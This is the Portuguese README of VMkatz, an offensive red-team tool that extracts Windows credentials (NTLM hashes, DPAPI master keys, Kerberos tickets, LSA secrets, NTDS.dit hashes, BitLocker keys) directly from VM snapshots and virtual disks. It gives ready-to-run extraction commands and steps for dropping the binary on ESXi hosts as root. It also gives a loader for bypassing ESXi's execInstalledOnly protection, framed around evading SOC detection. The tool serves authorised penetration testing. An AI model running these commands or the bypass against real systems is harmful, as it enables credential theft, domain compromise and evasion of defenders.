VMkatz

Grande Demais para Roubar

Você está na terceira semana de uma operação de red team. Seu tráfego passa por uma VPN, depois salta através de quatro proxies SOCKS encadeados em caixas de salto comprometidas antes de tocar na rede alvo. Cada pacote faz o caminho mais longo.

Após dias de movimento lateral, você chega a um NAS conectado ao cluster de virtualização e a listagem de diretórios é diferente: fileiras e fileiras de .vmdk, .vmsn, .sav. Centenas de gigabytes de máquinas virtuais — controladores de domínio, estações de trabalho de administradores, as joias da coroa — bem ali.

Mas seu link mal atinge 200 KB/s. Baixar uma única imagem de disco de 100 GB levaria seis dias, e cada hora de exfiltração contínua é mais uma chance do SOC detectar a anomalia, queimar seu túnel, e toda a cadeia desmoronar.

VMkatz existe porque você não deveria ter que exfiltrar o que pode ler no local. Ele extrai segredos do Windows — hashes NTLM, chaves mestre DPAPI, tickets Kerberos, credenciais de domínio em cache, segredos LSA, NTDS.dit, chaves BitLocker — diretamente de snapshots de memória de VM e discos virtuais, no NAS, no hipervisor, onde quer que os arquivos da VM estejam.

Um único binário estático, ~3 MB. Solte-o no host ESXi, no nó Proxmox ou no NAS. Aponte-o para um .vmsn, .vmdk ou uma pasta inteira de VM. Saia com credenciais, não imagens de disco.

O Que Ele Extrai

De snapshots de memória (LSASS)

Todos os 9 provedores de credenciais SSP que o mimikatz implementa:

Além disso: Extração de FVEK do BitLocker da memória (varredura de tag de pool por FVEc/Cngb).

De discos virtuais (offline)

• Hashes SAM: Hashes NT/LM de contas locais com status da conta (desabilitada, senha em branco)
• Segredos LSA: Senhas de contas de serviço, credenciais de logon automático, chaves de conta de máquina
• Credenciais de domínio em cache: Hashes DCC2 (últimos N logons de domínio)
• Chaves mestre DPAPI: Hashes prontos para Hashcat ($DPAPImk$ — modos 15300/15310/15900/15910)
• NTDS.dit: Extração completa de hashes do Active Directory de discos de controlador de domínio (parser ESE nativo)
• Descriptografia BitLocker: Descriptografia transparente de disco usando FVEK extraído da memória

Entradas Suportadas

SO alvo: Windows Server 2003 até Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64).

Início Rápido

# Extract LSASS credentials from a VMware snapshot
./vmkatz snapshot.vmsn

# With pagefile resolution for paged-out creds
./vmkatz --disk disk.vmdk snapshot.vmsn

# Extract SAM/LSA/DCC2 from a virtual disk
./vmkatz disk.vmdk

# Extract AD hashes from a domain controller disk
./vmkatz --ntds dc-disk.qcow2

# Point at a VM folder and let it find everything
./vmkatz /path/to/vm-directory/

# Extract from raw registry hives
./vmkatz SAM SYSTEM SECURITY

# Output as hashcat-ready hashes
./vmkatz --format hashcat snapshot.vmsn

# Export Kerberos tickets
./vmkatz --kirbi snapshot.vmsn        # .kirbi files
./vmkatz --ccache snapshot.vmsn       # .ccache file

# Export BitLocker FVEK for dislocker
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn

# Recursively scan all VMs under a path
./vmkatz -r /vmfs/volumes/datastore1/

# Parse LSASS minidump
./vmkatz lsass.dmp

Formatos de Saída

Implantação no ESXi

# Cross-compile for ESXi (musl static)
cargo build --release --target x86_64-unknown-linux-musl

# Upload and run
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn

Quando a proteção VIB (execInstalledOnly) está ativada, use o carregador Python — não é necessário desabilitar a configuração:

scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn

Veja docs/esxi.md para detalhes sobre bypass VIB, acesso a dispositivos brutos VMFS e descoberta automática.

Funcionalidades de Compilação

VMkatz é modular. As funcionalidades podem ser ativadas/desativadas no momento da compilação:

cargo build --release                                              # Full build
cargo build --release --no-default-features --features vmware      # VMware only
cargo build --release --no-default-features --features "sam ntds.dit"  # Disk only

Documentação

• Implantação no ESXi, bypass VIB, acesso bruto VMFS
• Exemplo de saída
• Arquitetura e layout de módulos
• Alvos testados e limitações conhecidas

Agradecimentos

• mimikatz por Benjamin Delpy (@gentilkiwi) -- a referência definitiva para os internals do LSASS e descriptografia de credenciais do Windows.
• pypykatz por Tamás Jós (@skelsec) -- reimplementação pura em Python do mimikatz, usado como referência cruzada para extração SAM/LSA/DCC2.
• Impacket por Fortra (originalmente Alberto Solino @agsolino) -- implementação de referência para extração de NTDS.dit e formato de saída pwdump.
• Vergilius Project -- estruturas do kernel Windows documentadas usadas para verificar deslocamentos de campos EPROCESS em todas as compilações suportadas (XP até Win11 24H2).
• dissect.vmfs por Fox-IT (NCC Group) -- parser Python VMFS do framework Dissect DFIR, usado como referência para estruturas em disco do VMFS.
• vmfs-tools por Mike Hommey -- implementação open-source VMFS3/5 que documenta estruturas principais em disco e tipos de endereço.
• volatility-kerberos por Sylvain Peyrefitte (@citronneur, Airbus CERT) -- plugin Kerberos para Volatility 3, inspirou a abordagem de escavação de tickets para recuperar tickets órfãos de memória LSASS liberada.